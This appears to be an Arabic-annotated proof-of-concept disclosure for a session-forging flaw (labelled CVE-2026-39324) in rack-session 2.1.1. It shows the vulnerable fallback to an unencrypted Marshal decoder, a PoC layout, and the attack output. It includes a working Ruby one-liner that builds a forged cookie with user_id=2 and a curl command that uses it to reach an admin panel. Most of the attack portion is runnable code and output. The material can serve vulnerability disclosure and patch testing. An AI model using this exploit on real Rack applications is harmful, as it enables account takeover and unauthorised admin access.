# lib/rack/session/cookie.rb

# يتم دائمًا إنشاء برنامج الترميز الاحتياطي، بغض النظر عن إعداد secrets:
@coder = options[:coder] ||= Base64::Marshal.new

# يحاول فك التشفير — كلها تفشل لملف تعريف ارتباط غير مشفر
encryptors.each do |encryptor|
  session_data = encryptor.decrypt(cookie_data) rescue next
  break
end

# خطأ: لا يرفض، يمر إلى برنامج الترميز غير المشفر
if !session_data && coder
  session_data = coder.decode(cookie_data)  # → Marshal.load(Base64.decode64(...))
end

poc/
├── Gemfile      rack-session 2.1.1
├── server.rb    تطبيق Rack مع إعداد secrets:
├── verify.rb    فحص أساسي (سلوك طبيعي)
└── attack.rb    تزوير الجلسة (الاستغلال)

cd poc
bundle install

ruby server.rb &      # تشغيل الخادم المعرض للخطر
ruby verify.rb        # تأكيد السلوك الطبيعي
ruby attack.rb        # تزوير ملف تعريف الارتباط → وصول المسؤول

payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie  = Base64.strict_encode64(Marshal.dump(payload))

encryptor #1 decrypt → HMAC غير صالح
encryptor #2 decrypt → HMAC غير صالح
fallback → coder.decode() → Marshal.load → قبول جلسة المهاجم
→ session["user_id"] = 2 → حل مستخدم المسؤول → 200 OK

$ ruby attack.rb
--- CVE-2026-39324: تزوير الجلسة ---
الهدف:  http://127.0.0.1:9416
الحمولة: {"session_id" => "attacker-forged", "user_id" => 2}
ملف تعريف الارتباط:  rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH

خطأ مشفر ملف تعريف ارتباط الجلسة: HMAC غير صالح   ← فشل المشفر #1
خطأ مشفر ملف تعريف ارتباط الجلسة: HMAC غير صالح   ← فشل المشفر #2، لكن لم يتم رفض ملف تعريف الارتباط
الحالة: 200
الجسم:   {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}

[!] معرض للخطر — تم قبول user_id=2 المزور، تم منح وصول المسؤول.

ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH

curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'